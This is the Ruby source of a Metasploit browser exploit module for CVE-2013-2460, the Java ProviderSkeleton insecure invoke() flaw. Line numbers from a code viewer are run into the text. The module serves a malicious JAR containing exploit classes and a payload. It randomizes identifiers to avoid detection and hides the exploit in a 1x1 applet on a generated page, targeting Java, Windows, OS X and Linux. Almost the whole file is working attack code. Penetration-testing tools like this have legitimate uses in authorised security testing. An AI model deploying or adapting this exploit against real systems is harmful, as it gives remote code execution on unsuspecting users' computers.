Path: blob/master/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314EXPLOIT_STRING = "Exploit"1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',21'Description' => %q{22This module abuses the insecure invoke() method of the ProviderSkeleton class that23allows to call arbitrary static methods with user supplied arguments. The vulnerability24affects Java version 7u21 and earlier.25},26'License' => MSF_LICENSE,27'Author' => [28'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC29'Matthias Kaiser' # Metasploit module30],31'References' => [32[ 'CVE', '2013-2460' ],33[ 'OSVDB', '94346' ],34[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],35[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],36[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],37[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]38],39'Platform' => %w{java linux osx win},40'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },41'Targets' => [42[43'Generic (Java Payload)',44{45'Platform' => ['java'],46'Arch' => ARCH_JAVA,47}48],49[50'Windows x86 (Native Payload)',51{52'Platform' => 'win',53'Arch' => ARCH_X86,54}55],56[57'Mac OS X x86 (Native Payload)',58{59'Platform' => 'osx',60'Arch' => ARCH_X86,61}62],63[64'Linux x86 (Native Payload)',65{66'Platform' => 'linux',67'Arch' => ARCH_X86,68}69],70],71'DefaultTarget' => 0,72'DisclosureDate' => '2013-06-18',73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)80end8182def randomize_identifier_in_jar(jar, identifier)83identifier_str = rand_text_alpha(identifier.length)84jar.entries.each { |entry|85entry.name.gsub!(identifier, identifier_str)86entry.data = entry.data.gsub(identifier, identifier_str)87}88end8990def setup91path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "Exploit.class")92@exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }93path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "ExpProvider.class")94@provider_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }95path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")96@action_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }9798@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)99@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)100101super102end103104def on_request_uri(cli, request)105print_status("handling request for #{request.uri}")106107case request.uri108when /\.jar$/i109jar = payload.encoded_jar110jar.add_file("#{@exploit_class_name}.class", @exploit_class)111jar.add_file("ExpProvider.class", @provider_class)112jar.add_file("DisableSecurityManagerAction.class", @action_class)113randomize_identifier_in_jar(jar, "metasploit")114randomize_identifier_in_jar(jar, "payload")115jar.build_manifest116117send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })118when /\/$/119payload = regenerate_payload(cli)120if not payload121print_error("Failed to generate the payload.")122send_not_found(cli)123return124end125send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })126else127send_redirect(cli, get_resource() + '/', '')128end129end130131def generate_html132html = %Q|133<html>134<body>135<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>136</body>137</html>138|139return html140end141end142143144